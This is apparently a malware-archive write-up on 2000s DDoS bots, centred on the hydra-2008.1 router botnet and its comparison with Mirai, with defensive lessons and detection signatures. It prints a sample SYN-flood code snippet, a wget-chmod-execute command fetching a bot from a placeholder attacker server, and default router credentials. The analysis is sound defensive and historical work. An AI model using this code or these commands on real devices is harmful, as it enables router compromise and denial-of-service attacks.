DDoS Bots & IoT Precursors

Overview

The archived collection contains 7 dedicated DDoS bot specimens spanning the mid-2000s through 2008. While many of the larger bot families (rBot, sdBot, Phatbot) included DDoS modules as one capability among many, the specimens in this category were purpose-built for denial-of-service operations - or, in the case of hydra-2008.1, for conscripting embedded network hardware into a flooding army.

These specimens collectively document the evolution from crude single-vector flooders running on compromised Windows desktops to the conceptual blueprint for modern IoT botnets. The crown jewel of this category - and arguably one of the most historically significant artifacts in the entire collection - is hydra-2008.1, a MIPSEL-targeting bot that exploited D-Link consumer routers eight years before Mirai brought IoT DDoS to mainstream awareness.

Specimen	Language	Target Platform	Primary Function	Era
hydra-2008.1	C	MIPSEL Linux (routers)	IoT botnet / SYN flood	2008
illusion DDoS bot	C/C++	Win32	Multi-vector DDoS	Mid-2000s
hdbotv0.2	C/C++	Win32	Cisco router scanner / DDoS	Mid-2000s

The remaining four specimens are variants or minor standalone flooders that share techniques with the specimens above or with modules embedded in the rBot/sdBot families.

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DDoS Attack Types in the Collection

Across all families and the dedicated DDoS bots, the collection documents seven distinct flood types. Understanding these is essential context for the defensive analysis that follows.

Attack Type	Protocol Layer	Mechanism	Specimens Using It
SYN Flood	TCP (L4)	Sends spoofed TCP SYN packets to exhaust target's half-open connection table	hydra-2008.1, rBot, sdBot, illusion
SuperSYN	TCP (L4)	Optimized SYN flood with raw sockets, randomized source IP/port, and minimal inter-packet delay	rBot (120-series), rxBot
ACK Flood	TCP (L4)	Sends spoofed TCP ACK packets to bypass stateless firewalls and consume target resources	rBot, rxBot variants
UDP Flood	UDP (L4)	Sends high-volume UDP datagrams to random ports, overwhelming bandwidth	rBot, sdBot, illusion
ICMP Flood	ICMP (L3)	Sends oversized or high-rate ICMP echo requests (ping flood)	rBot, sdBot
TCP Flood	TCP (L4)	Completes full TCP handshake, then sends garbage data or resets	rBot, illusion
HTTP Flood	HTTP (L7)	Opens full HTTP connections and sends valid-looking GET/POST requests to exhaust web server threads	Darkness bot, rBot variants

Attack Implementation Patterns

Most specimens in the collection implement floods using raw sockets (SOCK_RAW) with IP_HDRINCL to craft packets at the IP level. A typical SYN flood implementation follows this pattern (reconstructed from rBot/sdBot source analysis):

/* Simplified SYN flood - representative of collection specimens */
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

while (flooding) {
    /* Randomize source IP for spoofing */
    ip->saddr = rand();
    ip->daddr = target_ip;
    tcp->source = htons(rand() % 65535);
    tcp->dest   = htons(target_port);
    tcp->syn    = 1;

    sendto(sock, packet, packet_len, 0,
           (struct sockaddr *)&dest, sizeof(dest));
}

The SuperSYN variant found in the rBot 120-series adds optimizations: pre-computed pseudo-header checksums, per-thread socket pools, and configurable packet-per-second throttling to avoid saturating the bot's own upstream link.

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hydra-2008.1 - IoT Botnet Precursor

Historical Significance

This specimen is one of the earliest known IoT botnet implementations. It targeted consumer routers using MIPSEL cross-compilation and default credential exploitation, the exact same conceptual model that Mirai would use to devastating effect in 2016, eight years later.

Source Code

Repository: hydra-2008.1

Key source files:

File	Purpose
Makefile	Cross-compilation configuration for mipsel-uclibc-gcc
hydra_scan.c	Network scanner - probes port 23 (Telnet) and port 80 (HTTP)
README	Author's notes - explicitly states "exploited dlink router for make BOTNET"

Architecture: MIPSEL Cross-Compilation

The Makefile is the definitive proof of Hydra's embedded-system targeting. It specifies:

CC = mipsel-uclibc-gcc

MIPSEL (MIPS Little-Endian) was the dominant CPU architecture in consumer-grade networking hardware of the 2005–2010 era - particularly in routers, DSL modems, and access points manufactured by D-Link, Linksys, and Netgear. The use of uClibc (a lightweight C library designed for embedded Linux) confirms the target was resource-constrained embedded devices, not general-purpose servers.

This cross-compilation approach means the bot author developed and compiled the code on a standard x86 Linux workstation, producing binaries that could only execute on MIPSEL router hardware.

Target: D-Link Consumer Routers

The README file leaves no ambiguity about the target - D-Link routers with:

• Telnet service exposed on port 23 (enabled by default on many models of the era)
• HTTP administration interface on port 80 (universally present)
• Default or weak credentials (the primary attack vector)
• Known information disclosure vulnerabilities in the web interface

Two-Stage Infection Model

Hydra employed a sophisticated two-stage infection architecture that separated the scanning/exploitation phase from the payload deployment phase:

┌─────────────────────┐         ┌──────────────────────┐
│   STAGE 1: Scanner  │         │  STAGE 2: Payload    │
│   (x86 Linux host)  │         │  (MIPSEL router)     │
│                     │         │                      │
│  hydra_scan.c       │  Telnet │  MIPSEL binary       │
│  ┌───────────────┐  │ ──────► │  ┌────────────────┐  │
│  │ Scan /16 range│  │  Login  │  │ Connect to IRC │  │
│  │ Try creds     │──┼────────►│  │ Await commands │  │
│  │ Inject wget   │  │         │  │ SYN flood      │  │
│  └───────────────┘  │         │  └────────────────┘  │
└─────────────────────┘         └──────────────────────┘
         │                                ▲
         │  wget http://attacker/bot      │
         └────────────────────────────────┘

Stage 1 - x86 Scanner: The operator runs the x86-compiled Hydra binary on a standard Linux box. This binary scans target IP ranges looking for vulnerable routers.

Stage 2 - MIPSEL Payload Delivery: Upon finding a vulnerable device, the scanner injects the following command sequence via the router's Telnet session:

wget http://{attacker_server}/{mipsel_binary} -P /var/tmp && \
chmod +x /var/tmp/{mipsel_binary} && \
/var/tmp/{mipsel_binary} &

This downloads the MIPSEL-compiled bot to the router's writable /var/tmp directory, makes it executable, and launches it in the background. The infected router then connects to the IRC C&C server and joins the botnet.

Scanning Methodology

Hydra's scanner (hydra_scan.c) implements two distinct scanning modes:

Mode	IRC Command	Method	Target
Basic scan	.scan	Telnet brute-force with default/weak credentials	Port 23
Advanced scan	.advscan	HTTP information disclosure exploit	Port 80

Basic Scan (.scan)

Scans /16 IP ranges (65,536 addresses per range), probing each for an open Telnet service on port 23. When found, the scanner attempts authentication using a list of common default username/password pairs typical of consumer routers:

• admin / admin
• admin / (blank)
• root / root
• user / user

Advanced Scan (.advscan)

The more sophisticated attack mode targets a known information disclosure vulnerability in the D-Link web administration interface:

1. Sends a crafted HTTP POST request to the router's web server on port 80
2. Parses the returned HTML response to extract the administrator password from the page
3. Uses the extracted password to authenticate via Telnet on port 23
4. Injects the wget payload delivery command

This is notable because it demonstrates that the author understood and exploited a specific vendor vulnerability - not merely default credentials - making this a more targeted attack than simple credential stuffing.

DDoS Capability

Once a router is infected and connected to the IRC C&C channel, the operator can issue the .synflood command to direct the compromised device to launch SYN flood attacks against arbitrary targets. While a single compromised home router has limited bandwidth, the aggregate effect of hundreds or thousands of infected devices creates a significant DDoS capability - exactly the model Mirai would later prove at catastrophic scale.

Conceptual Comparison to Mirai (2016)

The following comparison demonstrates that hydra-2008.1 and Mirai share the same fundamental architecture, separated by eight years and an enormous difference in scale:

Dimension	hydra-2008.1 (2008)	Mirai (2016)
Target devices	D-Link routers (single vendor)	Cameras, DVRs, routers (dozens of vendors)
Target architecture	MIPSEL	ARM, MIPS, MIPSEL, PowerPC, x86, others
Primary infection vector	Default Telnet credentials	Default Telnet credentials
Secondary vector	HTTP info disclosure (D-Link specific)	None (pure credential attack)
Credential list	Small, vendor-specific	62 credential pairs covering many vendors
Scanning scope	/16 ranges	Entire IPv4 space (stateless SYN scan)
Scanning speed	Sequential, single-threaded	Highly optimized, asynchronous
Payload delivery	wget from attacker server	Custom loader infrastructure
C&C protocol	IRC	Custom binary protocol
C&C resilience	Single IRC server (fragile)	Domain-based with fallback
DDoS methods	SYN flood only	SYN, ACK, UDP, DNS, GRE, HTTP, and more
Peak botnet size	Unknown (likely hundreds)	~600,000 devices
Peak DDoS volume	Unknown	1.2 Tbps (Dyn attack, October 2016)

Key insight: The conceptual gap between Hydra and Mirai is not one of kind but of degree. Mirai's authors did not invent a new attack paradigm - they refined, optimized, and scaled one that had existed since at least 2008. The security industry had eight years of warning that this attack model was viable.

Why hydra-2008.1 Matters

1. It proves the IoT botnet concept predates Mirai by nearly a decade. The common narrative that Mirai was a novel threat is historically inaccurate.
2. It demonstrates that default credentials on embedded devices were a known, exploited vulnerability years before any meaningful industry response.
3. It shows that cross-compilation for embedded targets was accessible to moderately skilled malware authors - this was not an advanced nation-state capability.
4. The security community's failure to act on early warnings like Hydra directly contributed to the scale of damage Mirai caused in 2016.

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Other DDoS Specimens

illusion DDoS Bot

Repository: illusion

A Windows-based IRC-controlled DDoS bot with multi-vector flooding capability. Unlike the single-purpose Hydra, illusion runs on standard Win32 systems and implements several flood types:

• SYN flood - raw socket spoofed-source TCP SYN packets
• UDP flood - high-volume random-port UDP datagrams
• TCP flood - full-handshake connection exhaustion
• ICMP flood - oversized ping packets

illusion represents the "workhorse" model of DDoS bots from the mid-2000s: infect Windows desktops via social engineering or exploit, join an IRC channel, and await flood commands. Its code is straightforward and lacks the sophistication of Hydra's cross-platform targeting, but its multi-vector approach made it more versatile against targets with basic DDoS mitigation.

hdbotv0.2 - Cisco Router Scanner

Repository: hdbotv0.2

hdbot occupies an interesting niche: it is a Win32 IRC bot whose distinguishing feature is a built-in Cisco router scanner. While it runs on Windows, it scans for Cisco networking equipment with default or weak credentials - making it a conceptual sibling to Hydra's router-targeting approach, though it targets enterprise rather than consumer hardware.

Key capabilities:

• Cisco scanner - probes for Cisco IOS devices with default credentials
• DDoS module - standard SYN/UDP/ICMP floods from the Windows host
• IRC C&C - standard bot command interface

hdbot and Hydra together demonstrate that by the mid-to-late 2000s, bot authors were actively looking beyond Windows desktops for devices to conscript - targeting both consumer routers (Hydra) and enterprise networking equipment (hdbot).

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MITRE ATT&CK Mapping

The following table maps the techniques observed across the DDoS bot category to the MITRE ATT&CK framework:

Technique ID	Technique Name	Specimens	Notes
T1110.001	Brute Force: Password Guessing	hydra-2008.1, hdbotv0.2	Default credential attacks on routers
T1190	Exploit Public-Facing Application	hydra-2008.1	D-Link HTTP info disclosure
T1021.004	Remote Services: SSH	hydra-2008.1	Telnet-based (same principle as SSH)
T1059.004	Command and Scripting Interpreter: Unix Shell	hydra-2008.1	wget, chmod, shell exec on router
T1105	Ingress Tool Transfer	hydra-2008.1	wget payload delivery to router
T1498	Network Denial of Service	All specimens	SYN, UDP, ICMP, TCP, HTTP floods
T1498.001	Network DoS: Direct Network Flood	illusion, hydra-2008.1	Volume-based flooding
T1071.001	Application Layer Protocol: Web Protocols	hydra-2008.1	HTTP-based info disclosure exploit
T1571	Non-Standard Port	All specimens	IRC C&C on non-standard ports
T1078.001	Valid Accounts: Default Accounts	hydra-2008.1, hdbotv0.2	Factory default credentials
T1592.002	Gather Victim Host Info: Software	hydra-2008.1	HTTP parsing to extract router config
T1027	Obfuscated Files or Information	illusion	Basic string obfuscation

Kill Chain Summary

                hydra-2008.1 Kill Chain
┌─────────────────────────────────────────────────┐
│ Reconnaissance    │ Scan /16 ranges, port 23/80 │
│ Initial Access    │ T1078 Default credentials    │
│                   │ T1190 HTTP info disclosure   │
│ Execution         │ T1059 Shell commands (wget)  │
│ Persistence       │ Background process (&)       │
│ C&C               │ IRC channel join             │
│ Impact            │ T1498 SYN flood DDoS         │
└─────────────────────────────────────────────────┘

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Defensive Lessons

For Network Operators (Then and Now)

The DDoS specimens in this collection - particularly hydra-2008.1 - expose vulnerabilities that remain relevant today:

1. Change default credentials immediately upon deployment. Hydra's entire infection chain depends on factory-default usernames and passwords. This was a known problem in 2008 and remains the #1 IoT security failure.

2. Disable unnecessary management services. Telnet on port 23 should never be exposed to the internet. SSH with key-based authentication should be used for remote management. Many routers of the Hydra era had Telnet enabled by default with no option to disable it in the consumer firmware.

3. Segment IoT and network infrastructure. Routers and embedded devices should not be directly accessible from the public internet without VPN or access control.

4. Monitor for scanning activity. Hydra's /16 range scanning is noisy and detectable. Sequential connection attempts to port 23 or 80 across a subnet should trigger alerts.

5. Implement firmware update mechanisms. The routers targeted by Hydra in 2008 had no automatic update capability. Vulnerabilities remained unpatched for the entire lifetime of the device.

For the Security Industry

The eight-year gap between hydra-2008.1 and Mirai represents a systemic failure in threat intelligence and industry response:

Year	What Should Have Happened	What Actually Happened
2008	Recognize embedded device botnets as an emerging threat class	Specimens like Hydra went largely unnoticed
2010	Push for default-credential legislation and industry standards	No meaningful action
2012	Mandate Telnet deprecation in consumer networking gear	Telnet still shipping enabled by default
2014	Deploy ISP-level scanning to identify vulnerable devices	Minimal effort
2016	Mirai launches 1.2 Tbps DDoS against Dyn	Industry acts surprised

Detection Signatures

Defenders monitoring for hydra-class threats should watch for:

# Snort-style signature concepts for Hydra-class IoT bots

# Telnet brute-force from single source
alert tcp any any -> $HOME_NET 23 (msg:"Possible IoT bot Telnet scan";
  flow:to_server; threshold:type both, track by_src, count 10, seconds 60;
  sid:1000001;)

# wget payload delivery to /var/tmp (common IoT bot staging)
alert tcp $HOME_NET any -> any 80 (msg:"IoT bot wget payload fetch";
  content:"GET"; content:"/var/tmp"; content:"wget";
  sid:1000002;)

# Outbound IRC from embedded device subnet
alert tcp $IOT_SUBNET any -> any 6667 (msg:"IRC from IoT subnet";
  flow:to_server,established;
  sid:1000003;)

The Core Lesson

The fundamental security posture of embedded systems - shipping with default credentials, running unnecessary services like Telnet, and lacking an easy update mechanism - was the root cause of this threat in 2008, and it remains a major problem today.

• Analysis derived from hydra-2008.1 source review

The specimens in this category prove that IoT botnets were not an unforeseeable "black swan" event. They were a slow-moving, well-documented, and ultimately preventable threat that the industry chose not to address until it was too late.